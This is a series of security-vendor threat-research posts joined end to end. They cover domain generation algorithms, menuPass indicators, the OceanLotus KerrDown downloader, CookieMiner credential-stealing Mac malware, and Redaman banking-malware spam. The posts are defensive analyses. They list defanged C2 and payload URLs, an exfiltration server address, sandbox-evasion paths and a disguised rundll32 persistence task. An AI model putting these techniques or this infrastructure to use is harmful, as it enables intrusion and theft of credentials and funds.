One of the most important “innovations” in malware in the past decade is what’s called a Domain Generation Algorithm (“DGA”)”. DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks. While DGA has been in use for over 10 years now, it’s still a potent technique that has been a particular challenge for defenders to counter. Fortunately, there are emerging technologies now that can better counter DGAs.

What is it?

A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion. Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as “command and control” or C2).

Attackers use DGA so that they can quickly switch the domains that they’re using for the malware attacks. Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses. Attackers developed DGA specifically to counter these actions.

In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites. By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains. To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.

Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one. Many DGAs are built to use hundreds or even thousands of domains. And these domains are often up for only limited periods of time. In this environment blocking and taking down DGA-related domains quickly becomes a game of “whack a mole” that is sometimes futile.

Why should I care, what can it do to me?

DGA by itself can’t harm you. But it is an important piece that enables modern malware to try and evade security products and countermeasures. The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008. DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.

What can I do about it?

Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:

  1. Don’t open attachments that are unexpected or from unknown sources.
  2. Don’t enable macros on attached documents without confirming that you can do so safely from the sender and your IT department.
  3. Run security software that can help prevent malware attacks.

In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations. In particular, security vendors are bringing automation to bear to counter the attackers’ automation. New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.

You can also learn more about these new technologies and look at deploying them as an additional layer of protection.

About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.

They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.

Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

menuPass Playbook and IOCs

On December 20, 2018 the US Department of Justice indicted two Chinese nationals on charges of computer hacking, conspiracy to commit wire fraud, and aggravated identity theft. The two are alleged members of a hacking group known as menuPass (aka APT10/Stone Panda/Red Apollo/CVNX/Potassium) which according to the indictment, allegedly carried out the illegal activity at the behest of the Chinese Ministry of State Security. The charges in the indictment stem from a lengthy attack campaign called Operation Cloud Hopper that began in 2014 which largely targeted Managed Security Providers (MSPs) to not only steal MSP and clients’ intellectual property but also leverage the networks for further attacks. The US-Cert also published two advisories, TA17-117A and TA18-276B. The first details the activity and the second contained protection, detection, and remediation advice for MSPs and customers.

The compromised organizations were located around the world in industries such as banking and finance, healthcare and medical equipment, government, aerospace, defense, telecommunications, and consumer electronics.  menuPass’ hacking activity started as early as 2006 and continues to this day; they have shown a marked interest in Japan since 2014.

The group has been active since approximately 2006 and has targeted healthcare, defense, aerospace, and government sectors around the world, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.

Unit 42 is releasing all IOCs we have associated with menuPass in an effort to provide defenders with an extensive list of their malware and attack infrastructure. We are also publishing a menuPass Playbook based on activity from late 2016. The described attacks took place during the timeframe pointed out by the US Department of Justice and match the TTPs described in the indictment.

For Palo Alto Networks customers, all of the malware and infrastructure is correctly marked as malicious within our platform. All of the domains, samples, and C2 infrastructure are flagged as malicious, as appropriate, within Threat Prevention, WildFire, Traps, and PAN-DB.

AutoFocus customers can further investigate this activity using the following tags:

US-CERT_TA17-117A

Operation Cloud Hopper

menuPass

RedLeaves

ChChes

Anel

The below malware families are used by multiple groups, so their presence in a network is not necessarily related to menuPass. However, if found it indicates a possible network intrusion and should be investigated.

EvilGrab

PlugX

Poison Ivy

QuasarRAT

Tracking OceanLotus’ new Downloader, KerrDown

OceanLotus (AKA APT32) is a threat actor group known to be one of the most sophisticated threat actors originating out of south east Asia. Multiple attack campaigns have been reported by number of security organizations in the last couple of years, documenting the tools and tactics used by the threat actor. While OceanLotus’ targets are global, their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam. 

This blog will cover a new custom downloader malware family we’ve named “KerrDown” which OceanLotus have been actively using since at least early 2018. We also show how the jaccard-index algorithm was used to quickly find similarities between the new KerrDown malware family within our datasets. This method has proven to be very useful to extract similarities from large sample datasets and connecting attack campaigns together. Given the large number of “KerrDown” samples found, we were also able to discern possible patterns in OceanLotus’ working hours and days of a week which is discussed in the later sections of this blog. 

We identified two methods to deliver the KerrDown downloader to targets. One is using the Microsoft Office Document with a malicious macro and the other is RAR archive which contains a legitimate program with DLL side-loading. For RAR archive files, the file names used to trick targets are all in Vietnamese as shown in Figure 11. Our analysis shows that the primary targets of the ongoing campaign discussed in this blog are either in Vietnam or Vietnamese speaking individuals.  

Malicious Document

Our analysis began with an active mime document, something we've seen OceanLotus use before but this time involving a new payload, KerrDown. The lure hash is 

(SHA256:89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3) 

Figure 1 below shows a snapshot of the lure file. Once the victim opens the lure document, which includes an image file with a message in Vietnamese which that asks the victim to enable macros to view the contents of the file. At first glance the document may look like there is no other content other than the notification to enable macros. However, a closer look reveals two different base64 blobs inserted in the page in separate tables and the font size has been changed to 1 which may deceive victims to overlook the content. Another reason for this technique may be that many automated tools are able to detect the presence of an embedded binary within the streams of such files and this technique may allow them to go undetected.  

Delivery Document Analysis

  Figure 1: Lure document

Once we increase the font size, the base64 blobs are visible in two different tables. Once decoded you can see the MZ header of the PE DLL at the beginning of each table, as shown in Figure 2.   

Figure 2Base64 encoded pedll files embedded as text in the document. 

Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded. 

Figure 3Base64 blob selection based on system check 

We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit. 

 

Figure 4Base64 decoder comparison 

Similarity Analysis of KerrDown Samples using Jaccard-Index 

Once we decoded and extracted both DLL files from the document we used a similarity analysis algorithm using the Jaccard index to check the binaries against known set of malware families used by OceanLotus  which yielded no matches with any previous OceanLotus malware families. However, we were able to find multiple other samples in our datasets using the imphash value of the KerrDown samples and the accompanying C2 domains. Given the high number of samples found, we again used a similarity analysis algorithm using Jaccard Index to extract similarities between all the samples found. At this stage we were not sure if the DLL files were a backdoor or had any other functionality. Hence, we included a few other known OceanLotus malware family samples used no earlier than 2017 to our similarity test, and in most cases samples which were final payloads dropped in victim machines.  One of the main objectives was to quickly discern if KerrDown could have been variants of the known malware families we have been tracking or was OceanLotus employing a new malware family in their playbooks and in the recent campaigns. Plotting the Jaccard index results using networkx we can quickly visualize the similarities extracted. As you can see from Figure 5, there is a thick cluster of samples at the top right of the networkx graph which did not have any similarities with the other known OceanLotus malware family samples. Therefore, this observation was helpful for us to understand that the samples we were looking into were likely a new malware family being employed by the OceanLotus group at the time of analysis, which we have now named KerrDown.

Figure 5: Similarity analysis using Jaccard Index 

KerrDown to Cobalt Strike Beacon 

As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine. 

OS Architecture  URL  User Agent 
32 bit  https://syn.servebbs[.]com/kuss32.gif  Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0) 
64 bit  https://syn.servebbs[.]com/kuss64.gif  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) 

Table 1 : Payload DLL selection based on architecture 

The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon. Cybereason also published previously on OceanLotus using Cobalt Strike in their campaigns and it is interesting to see the use of a new downloader malware family being used to still deliver the final payload of Cobalt Strike. As we can see in this case, the purpose of the malware is to download and execute the Cobalt Strike Beacon payload in memory. Though Cobalt Strike is a commercial penetration testing tool, various threat actors are known to have used it in their campaigns.  

RAR Archives with KerrDown 

While investigating KerrDown we found multiple RAR files containing a variant of the malware. We haven’t yet identified the delivery method or targets of this variant. The attacker changed the downloader code by adding more stages and hiding each stage by compression and encryption. They also changed the way to execute the malicious code from an Office macro to the DLL side-loading technique through a legitimate program.  

The RAR archive

(SHA256:040abac56542a2e0f384adf37c8f95b2b6e6ce3a0ff969e3c1d572e6b4053ff3)

has the Vietnamese file name ‘Don khieu nai.rar’ which translates to 'Complaint letter' in English. The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage. The overall installation steps are below: 

  1. The Microsoft Word exe loads wwlib.dll in the same directory and executes ‘FMain’ function of the DLL.
  2. The DLL decodes base64 encoded shellcode in the body and executes it. 
  3. The shellcode decompresses the second shellcode which is compressed with the open source compression code UCL and execute it. 
  4. The second shellcode decrypts the third shellcode with AES. 
  5. The third shellcode retrieves the shellcode from the following remote location and executes it: https://cortanasyn[.]com/Avcv 
  6. The fourth shellcode loads the embedded Cobalt Strike Beacon DLL in memory and executes it. 

Figure 6Execution flow of sideloaded malicious downloader 

Looking at the compile timestamps of all the KerrDown samples in our datasets we were able to discern a couple of observations: 

  • OceanLotus has been using the new downloader in their campaigns since at least March 2018 and continues to actively use it in their campaigns. Figure 7 shows the timeline of the KerrDown samples: 

Figure 7Downloader DLL compile time lines 

  • While it is already widely believed that the OceanLotus group may originate from Vietnam, we wanted to find possible working hour patterns from the samples in our datasets. We plotted the compile times based on GMT +7 and found a clear pattern of the possible working hours of the group. The OceanLotus group has a typical 9 AM to 6 PM working pattern with most samples compiled during this period of the day. Figure 8 shows the malware compilation timestamps in GMT +7 for each unique sample found in our dataset. 

Figure 8Malware compilation times in GMT +7 

  •  We also observed all the samples were compiled during the weekdays - between Monday to Friday. Therefore, it is clear that the OceanLotus group works during weekdays and takes a break during the weekends. Figure 9 shows the samples compiled during the week. 

Figure 9Malware compilation during weekdays 

Conclusion 

OceanLotus has been an active threat actor group for a number of years and remains one of the most sophisticated threat actors in the APAC region. As we have seen with the new KerrDown downloader being used in their recent campaigns, the group continues to build and employ new tools and techniques in their overall operations and playbooks. It is therefore imperative to understand and keep a track of the group’s ongoing operations and capability to better defend against such threats. Given the high number of samples observed, we were also able to discern possible working hour patterns which shows us that the group likely has formal working hours and operating out of a region which is like Vietnam or nearby countries. While most of the targeting observed is towards Vietnamese speaking victims, given the known broader geographic and industry wide target base of OceanLotus, the group may use similar tools and playbooks against other targets.  

 Palo Alto Networks customers are already protected via: 

  •  All samples in this report have a malicious verdict in WildFire 
  • Domains have been classified as malicious 
  • AutoFocus tags are available for additional context: OceanLotus and KerrDown. 

Indicators of Compromise: 

Lure Docs: 

 73dcbcc47d6bd95dcf031ebbd34ac42301a20ee1143ac130b405e79b4ba40fc8 

89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3 

a4a066341b4172d2cb752de4b938bf678ceb627ecb72594730b78bd05a2fad9d 

8bf22202e4fd4c005afde2266413cba9d1b749b1a2d75deac0c35728b5eb3af8 

df8210d20c5eb80d44ba8fa4c41c26c8421dcb20168e4f796e4955e01ebc9e13 

94fab926b73a6a5bc71d655c8d611b40e80464da9f1134bfce7b930e23e273ab 

4321a9f95901a77b4acfbaef3596cf681712345e1cbd764873c6643fe9da7331 

KerrDown DLLs: 

 4a0309d8043e8acd7cb5c7cfca95223afe9c15a1c34578643b49ded4b786506b 

4b431af677041dae3c988fcc901ac8ec6e74c6e1467787bf099c4abd658be5be 

4bc00f7d638e042da764e8648c03c0db46700599dd4f08d117e3e9e8b538519b 

4e2f8f104e6cd07508c5b7d49737a1db5eeba910adfdb4c19442a7699dc78cfc 

4e791f2511c9bd3c63c8e37aa6625d8b590054de9e1cca13a7be2630bc2af9ce 

539e8a53db3f858914cfe0d2132f11de34a691391ba71673a8b1e61367a963c7 

53cd92f37ffd0822cc644717363ba239d75c6d9af0fa305339eaf34077edd22d 

53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12be4c 

5c18c3e6f7ac0d0ac2b5fa9a6435ee90d6bd77995f85bed9e948097891d42ca2 

5cda7d8294a8804d09108359dd2d96cdf4fdcf22ec9c00f0182d005afff76743 

5f0db8216314da1f128b883b918e5ac722202a2ae0c4d0bf1c5da5914a66778e 

6010d44cdca58cdec4559040e08798e7b28b9434bda940da0a670c93c84e33cd 

60b65ebb921dca4762aef427181775d10bbffc30617d777102762ab7913a5aa1 

6146aedfe47597606fb4b05458ec4b99d4e1042da7dc974fa33a57e282cd7349 

6245b74b1cc830ed95cb630192c704da66600b90a331d9e6db70210acb6c7dfa 

67cd191eb2322bf8b0f04a63a9e7cb7bc52fb4a4444fcb8fed2963884aede3aa 

68f77119eae5e9d2404376f2d87e71e4ab554c026e362c57313e5881005ae79e 

69e679daaaff3832c39671bf2b813b5530a70fb763d381f9a6e22e3bc493c8a9 

6faa7deb1e1e0c3a7c62c2bb0ecdfa56b6e3ba4fe16971ec4572267ac70b9177 

6fb397e90f72783adec279434fe805c732ddb7d1d6aa72f19e91a1bf585e1ea5 

70db041fb5aadb63c1b8ae57ba2699baa0086e9b011219dcebcccbf632017992 

7673f5468ba3cf01500f6bb6a19ce7208c8b6fc24f1a3a388eca491bc25cd9cd 

77805a46f73e118ae2428f8c22ba28f79f7c60aeb6305d41c0bf3ebb9ce70f94 

788265447391189ffc1956ebfec990dc051b56f506402d43cd1d4de96709c082 

7be613237b57fbc3cb83d001efadeed9936a2f519c514ab80de8285bdc5a666c 

7dbb7fab4782f5e3b0c416c05114f2a51f12643805d5f3d0cd80d32272f2731a 

7ec77e643d8d7cc18cc67c123feceed91d10db1cc9fa0c49164cba35bb1da987 

860f165c2240f2a83eb30c412755e5a025e25961ce4633683f5bc22f6a24ddb6 

868ed69533fac80354a101410d3dd0a66f444385c6611cc85c5b0be49db2d6fd 

89759e56d5c23085e47d2be2ce4ad4484dfdd4204044a78671ed434cec19b693 

8b7fb1cd5c09f7ec57ccc0c4261c0b4df0604962556a1d401b9cbfd750df60ba 

8d6e31c95d649c08cdc2f82085298173d03c03afe02f0dacb66dd3560149184f 

942d763604d0aefdff10ce095f806195f351124a8433c96f5590d89d809a562f 

98a5f30699564e6d9f74e737a611246262907b9e91b90348f7de53eb4cf32665 

9e6011d6380207e2bf5105cde3d48e412db565b92cdc1b3c6aa15bd7bd4b099f 

a106e0a6b7cc30b161e5ea0b1ec0f28ab89c2e1eb7ba2d5d409ddbabc3b037e6 

a2b905c26e2b92e63de85d83e280249258cb21f300d8c4a3a6bdb488676e9bcf 

a4a86e96f95f395fcf0ceb6a74a2564f4ba7adbe1b40cc702b054427327a0399 

a8192656dd1db0be4cec9d03b4d10e0529d9c52c899eda8d8e72698acfb61419 

a8f776bd3a9593e963b567ce790033fec2804ea0afb40a92d40e21d8f33d066f 

b4966f8febdba6b2d674afffc65b1df11e7565acbd4517f1e5b9b36a8c6a16ed 

bb25f1a73d095d57b2c8c9ac6780e4d412ddf3d9eef84a54903cc8e4eaefc335 

bc82bce004afb6424e9d9f9fc04a84f58edf859c4029eda08f7309dbeec67696 

c30198e0b0e470d4ac8821bd14bb754466e7974f1c20be8b300961e9e89ed1ea 

caabc45e59820a4349db13f337063eddede8a0847ae313d89a800f241d8556c8 

d3ef6643ad529d43a7ec313b52c8396dc52c4daad688360eb207ee91a1caf7b2 

e3c818052237bb4bb061290ab5e2a55c3852c8a3fef16436b1197e8b17de2e18 

e56ffcf5df2afd6b151c24ddfe7cd450f9208f59b5731991b926af0dce24285a 

e8704bf6525c90e0f5664f400c3bf8ff5da565080a52126e0e6a62869157dfe3 

e8a454cd8b57a243f0abeec6945c9b10616cfdcc4abfb4c618bfc469d026d537 

eac776c3c83c9db1a770ffaf6df9e94611c8293cbd41cb9257148603b8f2be0b 

ead0f3e6f0ca16b283f09526d09e8e8cba687dab642f0e102e5487cb565bf475 

f011a136996fa53fdbde944da0908da446b9532307a35c44ed08241b5e602cc9 

f2a2f4fa2ed5b2a94720a4661937da97ab21aa198a5f8c83bb6895aa2c398d22 

f62f21ee7e642f272b881827b45ceb643c999a742e1d3eac13d1ba014d1e7f67 

f9f0973dc74716b75291f5a9b2d59b08500882563011d1def2b8d0b1b9bbb8ae 

C2: 

 theme[[.]]blogsite[.]org 

cortana[.]homelinux[.]com 

word[.]webhop[.]info 

work[.]windownoffice[.]com 

cortanasyn[.]com 

e[.]browsersyn[.]com 

syn[.]servebbs[.]com 

service[.]windown-update[.]com 

check[.]homeip[.]net 

outlook[.]updateoffices[.]net 

mail[.]fptservice[.]net 

office[.]windown-update[.]com 

cortanazone[.]com 

beta[.]officopedia[.]com 

videos[.]dyndns[.]org 

service[.]serveftp[.]org 

syn[.]browserstime[.]com 

check[.]webhop[.]org 

ristineho[.]com 

 Appendix A: 

Cobalt Strike Beacon contains the hard-coded configuration data in its body. JPCERT published an article about the structure of the configuration. The sample we obtained has the following configuration (Figure 10) and connects to the C2 server, https:// b.cortanazone[.]com. 

Figure 10Cobalt Strike Beacon configuration 

Appendix B: 

Figure 11 shows some of the contents of the individual RAR files. All the .exe files are copies of Windows Word and the associated ‘wwlib.dll’ file is the malicious downloader DLL KerrDown, which is sideloaded when the .exe file gets executed. 

Figure 11RAR archives with malicious DLL for sideloading

Mac Malware Steals Cryptocurrency Exchanges’ Cookies

Palo Alto Networks’ Unit 42 recently discovered malware that we believe has been developed from OSX.DarthMiner, a malware known to target the Mac platform.

This malware is capable of stealing browser cookies associated with mainstream cryptocurrency exchanges and wallet service websites visited by the victims.

It also steals saved passwords in Chrome.

Finally, it seeks to steal iPhone text messages from iTunes backups on the tethered Mac.

By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past attacks like this, we believe the bad actors could bypass multi-factor authentication for these sites.

If successful, the attackers would have full access to the victim’s exchange account and/or wallet and be able to use those funds as if they were the user themselves.

The malware also configures the system to load coinmining software on the system. This software is made to look like an XMRig-type coinminer, which is used to mine Monero. In fact, though, it loads a coinminer that mines Koto, a lesser-known cryptocurrency that is associated with Japan.

Because of the way this malware attacks the cookies associated with exchanges, we have named this malware “CookieMiner”.

In the following sections, we will first briefly introduce some background knowledge, and then dig into the technical details of the malware’s behaviors.

Background

Web cookies are widely used for authentication. Once a user logs into a website, its cookies are stored for the web server to know the login status. If the cookies are stolen, the attacker could potentially sign into the website to use the victim’s account. Stealing cookies is an important step to bypass login anomaly detection. If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login. However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods.

A cryptocurrency exchange is a place to trade cryptocurrencies for other assets, such as other digital (crypto)currencies or conventional fiat money. Most modern cryptocurrency exchanges and online wallet services have multi-factor authentication. CookieMiner tries to navigate past the authentication process by stealing a combination of the login credentials, text messages, and web cookies. If the bad actors successfully enter the websites using the victim’s identity, they could perform fund withdrawals. This may be a more efficient way to generate profits than outright cryptocurrency mining. Furthermore, attackers could manipulate the cryptocurrency prices with large-volume buying and/or selling of stolen assets resulting in additional profits.

Technical Details

A rundown of CookieMiner’s behaviors (discussed in more detail in the following sections):

  • Steals Google Chrome and Apple Safari browser cookies from the victim’s machine
  • Steals saved usernames and passwords in Chrome
  • Steals saved credit card credentials in Chrome
  • Steals iPhone’s text messages if backed up to Mac
  • Steals cryptocurrency wallet data and keys
  • Keeps full control of the victim using the EmPyre backdoor
  • Mines cryptocurrency on the victim’s machine

Stealing Cookies

The CookieMiner attack begins with a shell script targeting MacOS. As shown in Figure 1, it copies the Safari browser’s cookies to a folder, and uploads it to a remote server (46.226.108[.]171:8000). The server hosts the service “curldrop” (https://github[.]com/kennell/curldrop), which allows users to upload files with curl. The attack targets cookies associated with cryptocurrency exchanges that include Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having “blockchain” in its domain name such as www.blockchain[.]com.

Figure 1. Code to steal web cookies

Stealing Credit Cards, Passwords, Wallets and SMS

Apple’s Safari is not the only web browser targeted. Google Chrome also attracts the threat actors’ attention due to its popularity. CookieMiner downloads a Python script named “harmlesslittlecode.py” to extract saved login credentials and credit card information from Chrome’s local data storage (Figure 2).

Figure 2. Malware extracts Chrome's secret data

CookieMiner adopts techniques from the Google Chromium project’s code for its decryption and extraction operations and abuses them. Google Chromium is an open-source version of the Google Chrome browser. By abusing these techniques, CookieMiner attempts to steal credit card information from major issuers, such as Visa, Mastercard, American Express, and Discover (Figure 3). The user’s saved login credentials are also stolen, including usernames, passwords, and the corresponding web URLs (Figure 4).

Figure 3. CookieMiner extracts credit card information

Figure 4. CookieMiner extracts login credentials

CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5).

Figure 5. Malware steals wallets, cookies, passwords and SMS

Cryptocurrency Mining

CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. However, the filename xmrig2 is usually used by Monero miners. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency.

Figure 6. CookieMiner mines cryptocurrency

 

Figure 7 Mining performance of the worker

Remote Control

For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture. The attacker is able to send commands to the victim’s machine for remote control. Additionally, the agent checks if Little Snitch (an application firewall) is running on the victim’s host. If so, it will stop and exit.

Conclusion

The malware “CookieMiner” is intended to help threat actors generate profit by collecting credential information and mining cryptocurrency. If attackers have all the needed information for the authentication process, the multi-factor authentication may be defeated. Cryptocurrency owners should keep an eye on their security settings and digital assets to prevent compromise and leakage.

Customers of Palo Alto Networks are protected by WildFire that is able to automatically detect the malware. AutoFocus users can track this activity by using the StealCookie tag.

 

Indicators of Compromise

Samples

c65e65207f6f9f8df05e02c893de5b3c04825ac67bec391f0b212f4f33a31e80 uploadminer.sh

485c2301409a238affc713305dc1a465afa9a33696d58e8a84e881a552b82b06 harmlesslittlecode.py

27ccebdda20264b93a37103f3076f6678c3446a2c2bfd8a73111dbc8c7eeeb71 OAZG

91b3f5e5d3b4e669a49d9c4fc044d0025cabb8ebb08f8d1839b887156ae0d6dd com.apple.rig2.plist

cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b com.proxy.initialize.plist

ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05 xmrig2

 

C2 Information

hxxps://ptpb[.]pw/OAZG

46.226.108[.]171

Russian Language Malspam Pushing Redaman Banking Malware

Redaman is banking malware first noted in 2015 that targets recipients who conduct transactions using Russian financial institutions. First reported as the RTM banking Trojan, vendors like Symantec and Microsoft described an updated version of this malware as Redaman in 2017. We have found versions of Redaman in Russian language mass-distribution campaigns during the last four months of 2018. This blog tracks recent developments from an ongoing campaign of malicious spam (malspam) currently distributing this banking malware from September through December of 2018. We cover the following areas:

  • Infection vector
  • Email characteristics
  • Targeted recipients
  • Analysis of a Redaman sample
  • Infection traffic

Infection vector

Since September of 2018, Redaman banking malware has been distributed through malspam. In this campaign, the Russian language malspam is addressed to Russian email recipients, often with email addresses ending in .ru. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz.

Figure 1: Flow chart for infections from Redaman banking malware from September through December of 2018.

The emails

Subject lines, message text, and attachment names constantly change for this malspam. But the messages all have a common theme: they refer to a document or file for an alleged financial issue the recipient needs to resolve. These messages are often vague, and they contain few details on the alleged financial issue. Their only goal is to trick the recipient into opening the attached archive and double-clicking the executable contained within.

Among dozens of examples seen from September through December of 2018, here is a selection of 10 subject lines from this malspam:

  • Subject: Акт сверки сентябрь-октябрь
  • Subject: Весь пакет док-ов за прошлый месяц
  • Subject: Все док-ты за август-сентябрь
  • Subject: Деб.задолженность среда
  • Subject: Документы, сверка 02.10
  • Subject: Заявка на возврат за ноябрь
  • Subject: Необходимо свериться среда
  • Subject: Отправка на за прошлую неделю
  • Subject: Пакет документов для оплаты 1е октября
  • Subject: Сверка на оплату

The following are Google translations for the above subject lines:

  • Subject: Act of reconciliation September-October
  • Subject: All package of last month's documents
  • Subject: All docs for August-September
  • Subject: Debt due Wednesday
  • Subject: Documents Verification for October 2018
  • Subject: Application for return for November
  • Subject: Check the environment
  • Subject: Sending on last week
  • Subject: The package of documents for payment 1st October
  • Subject: Payment Verification

Figure 2: Example of Redaman malspam from September 2018.

 Figure 3: Example of Redaman malspam from October 2018.

 Figure 4: Example of Redaman malspam from November 2018.

 Figure 5: Example of Redaman malspam from December 2018.

Targeted recipients

The content of these emails and data from our AutoFocus threat intelligence platform confirms this campaign is primarily targeting Russian recipients. We found 3,845 email sessions in AutoFocus with attachments tagged as Redaman banking malware from September through December 2018. Data on the top 10 senders and recipients of this malspam follow:

Mail servers of the top 10 senders:

  • From Russia - 3,456
  • From Belarus - 98
  • From Ukraine - 93
  • From Estonia - 29
  • From Germany - 30
  • From United States - 21
  • From Netherlands - 12
  • From Great Britain - 7
  • From Switzerland - 7
  • From Latvia - 2

Mail servers of the top 10 recipients:

  • To Russia - 2,894
  • To Netherlands - 195
  • To United States - 55
  • To Sweden - 24
  • To Japan - 16
  • To Kazakhstan - 12
  • To Spain - 12
  • To Finland - 11
  • To Germany - 6
  • To Austria - 4

Figure 6: AutoFocus map visualization for distribution of email recipients, September through December of 2018.

 

Analysis of a Redaman sample

We analyzed a sample of Redaman malware from malspam on November 13th, 2018.

SHA256 hash of rar archive from the malspam:

  • f6fb51809caec2be6164863b5773a7ee3ea13a449701a1f678f0655b6e8720df

SHA256 hash of Redaman executable extracted from the rar archive:

  • cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f

SHA256 hash of Redaman DLL created by the above executable:

  • 14d33b02a497e46f470d30180a09a1057c6802c1f37b0efbf82cbdc47a8ae7ff

When the Windows executable for Redaman is first run, it checks for the following files or directories on the local host (C:\ or D:\ drives):

  • C:\cuckoo
  • C:\fake_drive
  • C:\perl
  • C:\strawberry
  • C:\targets.xls
  • C:\tsl
  • C:\wget.exe
  • C:\*python*

If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment.

If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\Local\Temp\ directory, creates a randomly-named folder under C:\ProgramData\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties:

  • Name: Windows Update
  • Description: Updating Windows components.
  • Triggers: Executed whenever the user logs on
  • Action: rundll32.exe "C:\ProgramData\%random value%\%random value.random 3-character extension%",DllGetClassObject host

After creating a scheduled task and causing the DLL to load, the initial Redaman executable file deletes itself.

Figure 7: Example of a Redaman DLL persistent through a scheduled task.

Figure 8: Process Hacker showing the Redaman DLL active using rundll32.exe.

 

Redaman uses an application-defined hook procedure to monitor browser activity, specifically Chrome, Firefox, and Internet Explorer. It then searches the local host for information related to the financial sector. Other capabilities of Redaman include:

  • Downloading files to the infected host
  • Keylogging activity
  • Capture screen shots and record video of the Windows desktop
  • Collecting and exfiltrating financial data, specifically targeting Russian banks
  • Smart card monitoring
  • Shutting down the infected host
  • Altering DNS configuration through the Windows host file
  • Retrieving clipboard data
  • Terminating running processes
  • Adding certificates to the Windows store

 

Infection traffic

We generated the following infection traffic using the executable with SHA256 hash cd961e81366c8d9756799ec8df14edaac5e3ae4432c3dbf8e3dd390e90c3e22f on November 14th, 2018:

  • 104.28.16[.]33 port 443 - namecha[.]in - GET /name/d/stat-counter-3-1
  • 185.141.61[.]246 port 80 - 185.141.61[.]246 - POST /index.php
  • 193.37.213[.]28 port 80 - 193.37.213[.]28 - POST /p/g_3453456jawd346.php

